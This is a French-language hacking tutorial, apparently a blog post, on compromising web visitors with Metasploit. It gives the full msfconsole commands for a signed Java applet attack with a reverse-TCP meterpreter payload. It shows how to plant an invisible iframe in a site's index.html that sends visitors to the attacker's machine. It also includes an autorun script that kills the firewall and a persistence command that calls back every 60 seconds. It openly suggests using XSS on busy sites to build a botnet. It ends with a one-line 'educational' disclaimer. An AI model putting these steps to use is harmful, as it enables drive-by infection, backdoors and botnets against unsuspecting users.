Yop à toutes et à tous !
Un nouveau tuto en perspective avec un titre à la zob :)
PWNING SURF = Page html/php avec une iframe cachée qui va nous permettre d'utiliser Metasploit Framework et son meterpreter .
En d'autres termes, la machine victime se fera pwn en surfant sur une page Web contaminée qui proposera l'installation d'un plugin JAVA..
Il s'agit d'une technique très connue des blacks hats qui se servent de failles xss sur des sites vulnérables, pour y implanter une iframe. Cet iframe sera déclenchée sur le navigateur de la machine qui visite le site vulnérable. Au moment ou la machine victime affichera l'iframe, le navigateur ira contacter l'adresse IP contenue dans iframe (donc la machine attaquante), et lancera un script/meterpreter/backdoor sur la machine victime (ou autre chose).
Imaginez un site avec un fort traffic, se prendre une iframe malveillante, et donc contaminer tous les visiteurs qui surf sur le site, ou en gros, comment créer un botnet à moindre cout.
UN PETIT SCHEMA POUR METTRE TOUT CA EN IMAGES :)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
N'hésitez pas à poster des commentaires si vous avez besoin de précisions, de conseils ou d'une machine à distance pour tester vos skills ^^.
Dans un souci de compréhension des commandes de Metasploit, allez faire un tour sur mon tuto précédent.
Les commandes à taper sont colorées en "orange" et munies de "".
Description du tuto video : (vidéo en bas de page)
-MACHINES UTILISEES-
SERVEUR WEB VULNERABLE : 192.168.1.65
MACHINE BACKTRACK ATTAQUANTE : 192.168.1.25
MACHINE CLIENT VICTIME : 192.168.1.45
L'attaque va se dérouler comme ceci :
La machine attaquante (192.168.1.25) va implanter un iframe dans la page d'accueil index.html sur le serveur WEB (192.168.1.65)(iframe qui va rediriger de façon invisible les clients connectés sur 192.168.1.65 vers 192.168.1.25)
Pour montrer ce qui se passe coté client, on peut voir sur la vidéo qu'un utilisateur (192.168.1.45) se connecte sur le site web 192.168.1.65 et déclenche le processus d'installation de l'applet JAVA malicieux. Une fois l'installation acceptée, on voit sur la Backtrack qu'une session meterpreter est établie.
--------------
L'attaque est réussie lorsque une brèche est ouverte au niveau du navigateur. L'installation de l'applet Java est une option parmi d'autres. On pourrait choisir un module Metasploit (browser_autopwn) qui nous permet de tester les eventuelles brèches qui existent sur le navigateur. Cette technique nous permet le "fingerprinting"() du navigateur client et le lancement ciblé d'exploits. Ce qui signifie que lorsque le client va se connecter à l'adresse malicieuse, son navigateur sera scanné (exemple Google Chrome) et le module va lancer toutes les failles connues contre le navigateur en vue de trouver une porte ouverte, ou au moins une brèche dans laquelle se glisser.
Mais cette fois-ci, nous allons utiliser un module bien précis : L'applet Java Signé". (java_signed_applet)
Ce module va lancer un serveur sur notre Backtrack qui fera apparaître un pop-up sur le navigateur du ou des clients qui se connecterons au site.
Si le pop-up est accepté, et que l'applet java est lancé, le ou les clients seront "infectés" et laisseront une porte ouverte par laquelle un meterpreter pourra passer.
(Faites gaffe à pas valider n'importe quoi quand vous êtes sur un site plutôt louche)
--------------
Après la théorie, passons à la pratique.
--------------
__________________
|MACHINE ATTAQUANTE|
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
On va donc commencer par lancer msfconsole en tapant "msfconsole" ou "./msfconsole". Une fois démarré, nous allons configurer un "java_signed_applet", comprenez un module qui va se lancer sur notre backtrack et attendre qu'un client arrive sur notre adresse:port, exemple :192.168.1.25:8080".
Lorsque vous venez de selectionner votre module/exploit ou payload, vous pouvez taper "info" pour connaître les fonctions du modules ou "show options" pour les différents paramètres que vous pouvez lui assigner.
Donc, après avoir fait notre "use exploit/multi/browser/java_signed_applet", nous pouvons taper "show options" et voila ce qu'il nous affiche :
Les paramètres des modules se configurent tous de la même manière, à savoir, : set "NOM PARAMETRE" "VALEUR".
Exemple : dans notre cas, nous avons besoin de configurer quelques paramètres pour que notre attaque se déroule correctement. Ici, nous allons configurer APPLETNAME, qui est le nom qui apparaîtra dans le pop-up, et URIPATH (comprenez, l'endroit exact de notre site/adresseIP qui une fois visité déclenchera l'attaque). Je commence donc par taper "set APPLETNAME Malicious", puis "set URIPATH /" et enfin je vérifie la configuration en tapant "show options".
Nous devons aussi configurer un payload pour s'occuper de la connexion Attaquant-Victime au moment ou l'applet sera lancé. Si vous ne configurez pas cette option vous même, Metasploit le fera mais les paramètres du payload seront standards ce qui ne vous ira peut-être pas.
Rentrons un "set payload /windows/meterpreter/reverse_tcp", affichons ses paramètres si besoin est avec un "show options" et enfin configurons ses paramètres avec un "set LHOST 192.168.1.25" et "set LPORT 6793". Si vous avez bien lu le début de ce tuto, vous savez (mais j'en remet une couche pour être sûr ^^) que LHOST=ip attaquante, LPORT=port attaquant, RHOST=ip vicitme ou 0.0.0.0 pour accepter toutes les ip/connexions et RPORT= le port cible/ souvent 8080.
Nous n'avons plus qu'à lancer notre attaque en tapant "exploit ".
Voila notre machine attaquante est en écoute et est prête à servir un applet Java malicieux à quiconque se connectera à l'adresse http://192.168.1.25:6793 (soit l'adresse de notre machine attaquante sur le réseau et le port sur lequel elle est en écoute), ce qui nous donnera une fois installé, un magnifique meterpreter.
Une chose à savoir sous Metasploit :
Si vous venez de lancer un exploit en background par exemple, vous pouvez toujours taper vos commandes, comme "sessions -l" pour voir si il y a des sessions meterpreter/shell qui sont disponibles. Si une session est disponible, Metasploit vous l'affichera comme ceci :
Ensuite pour intéragir avec votre session meterpreter, vous pourrez taper "sessions -i 1" (ou 1 représente l'ID de la session visible dans la colonne ID)
Un exemple ci dessous :
Et voila, si vous n'êtes pas encore un aficionado du meterpreter, tapez un "?", vous aurez la liste des commandes disponible avec CE meterpreter. Car on peut facilement le bricoler pour lui ajouter des fonctions, ou encore le rendre autonome.
Un petit exemple :
Une fois que vous avez configuré votre meterpreter ou votre exploit, créez un fichier autometer.rc et modifiez le avec un éditeur de texte. Ce fichier servira de script lorsque qu'une session sera créee. Maintenant, nous allons écrire les actions à effectuer automatiquement une fois la connexion établie :
exemple du contenu de autometer.rc :
"run post/windows/manage/migrate" <- pour migrer automatiquement le trojan sur un autre processus
"run post/windows/manage/killfw" <- pour /kill le firewall
"run post/windows/manage/checkvm" <- pour vérifier si l'hôte est sous machine virtuelle
Un ordre par ligne avec une ligne vide entre chaque et sans guillemets.
Une fois votre fichier script sauvegardé dans /root/ par exemple, il ne vous reste plus qu'à configurer un dernier paramètre avant de lancer votre exploit dans Metasploit. Ce paramètre sert à prendre en compte un fichier script lors de l'exécution d'un meterpreter sur une machine victime.
Dans l'invite de commande msf> tapez "set AutoRunScript multi_console_command -rc /root/autometer.rc"
------------------------------------------------------------------------------------------
_________________
|MACHINE SERVEUR|
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
Pour déclencher l'installation de l'applet Java malicieux sur la machine victime, on pourrait demander à Bobby (l'utilisateur victime) de visiter notre lien malicieux directement, soit http://192.168.1.25:8080.
Si il est plutôt méfiant, l'astuce consiste à cacher cette url dans une autre page grâce à l'iframe invisble.
Pour utiliser cette technique, il faut avoir un droit d'écriture sur le serveur WEB, ce qui ne devrait pas être trop difficile vu que c'est une de vos machines ;D.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
CETTE PARTIE EST REALISABLE AVEC UN ACCES SSH SUR LE SERVEUR WEB |
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
Compromition du site WEB
La machine qui héberge le site Web est une Backtrack elle aussi mais la distribution importe peu tant qu'on peu écrire sur la page d'accueil.
Si vous n'avez pas de serveur Web chez vous, la manière la plus rapide est de prendre une vieille machine, d'y installer Backtrack 5, et une fois l'install terminée et le PC rebooté, ouvrez un terminal et tapez "service apache2 start" pour lancer le serveur Web. Les fichiers servis sur ce site Web se situent dans /var/www/. Avec les paramètres par défaut, la page d'accueil de ce site s'appelent index.html. (il y a aussi la solution de la machine virtuelle).
Pour compromettre ce site de test, et proposer au clients l'installation de l'applet Java malicieux, nous allons modifier la page d'accueil "index.html" avec un "nano /var/www/index.html" et chercher les balise <body> et </body>. C'est entre ces deux balises que ce situe le corps de la page Web et c'est ici que nous allons donc ajouter notre iframe.
Petite note : les fichiers HTML s'ouvrent aussi bien en ligne de commandes qu'avec les éditeurs de textes standards.
Une iframe est un code html compris entre deux balises iframes soit : <iframe>code</iframe>
Ces balises particulières servent à implanter le "visuel" d'un autre site sur notre page. Un petit exemple :
On peut voir "Mon site Web"(page d'accueil d'un autre serveur de test, page qui se situe dans /var/www/) auquel j'ai ajouté le code "<iframe src="http://www.google.com"></iframe>".
Ma page perso affiche bien son contenu, PLUS, un cadre contenant l'iframe, soit le moteur de recherche Google.
Ce screenshot est un montage pour vous montrer à quoi ça ressemble, car on ne peut pas ajouter une iframe "Google".
Plutôt étrange, mais je ne vais pas m'attarder la dessus^^.
On peut voir que cet iframe est VRAIMENT visible, et on ne veut surtout pas que le client s'aperçoive de la feinte.
Si on entre l'IP:PORT de notre Backtrack dans l'iframe tel quel, on aura le droit à un grand cadre aussi grand que celui-la mais avec les mots assez révélateurs comme "java_signed_applet, module for Metasploit" ou encore "payload=windows/meterpreter/reverse_tcp". Pas très cool et pas très discret non plus.
Pour la rendre invisible, il nous faut appliquer quelques paramètres à cet iframe, dans le code source de la page Web.
Une bonne iframe invisible s'écrit, par exemple, comme ceci :
<iframe src="http://192.168.1.25:8080" height="0" width="0" style="visibility: hidden"></iframe>
Une fois ce code ajouté entre les balises <body> et </body> de notre index.html, sauvegardez le tout et vérifiez le fonctionnement de votre page Web.
Ouvrez un navigateur sur votre serveur Web et tapez : http://127.0.0.1 dans la barre d'adresse.
Jetez un oeil sur votre Backtrack qui est en attente depuis tout à l'heure. Vu qu'un navigateur s'est connecté au site, et par la même déclenché l'iframe, vous devriez voir de l'activité dans votre msfconsole.
ET VOILA LA VIDEO-TUTO
Une fois l'applet installé, le client peut se déconnecter du site, mais nous conservons notre session meterpreter.
On pourrait par la suite taper dans notre session meterpreter> un "run persistence -A -x -i 60 -p 6793 -r 192.168.1.25" ce qui installera sur la machine victime, un script vbs dans les "TemporaryFiles" et une clé registre qui vont se lancer à chaque démarrage de la machine et essaieront de contacter 192.168.1.25:6793 toutes les 60secondes (-i).
Pour une utilisation externe (de box à box), vous devrez ouvrir les bons ports et les router vers les bonnes machines.
exemple avec les IP et PORTS du tuto:
Serveur WEB
_______________________________
ouvrir port 80 et router vers 192.168.1.65|
Linux Backtrack
__________________________________________
ouvrir le LPORT (ici 6793) vers 192.168.1.25 |
- et - |
le port 8080 qui doit être joignable pour lancer l'iframe|
Ne reste ensuite plus qu'à donner soit l'adresse IP externe soit le nom de domaine du site WEB et le tour est joué. :D
Cet article est destiné à un but éducatif et/ou de prévention. Assurez-vous de demander la permission au propiétaire du matériel si vous voulez faire ce tuto en "conditions réelles".
Comme d'habitude, un souci, un conseil, utilisez les commentaires :D
Rédaction : PWNED&CO[M@jesTiK]
------------------------------------------------------------------------------------------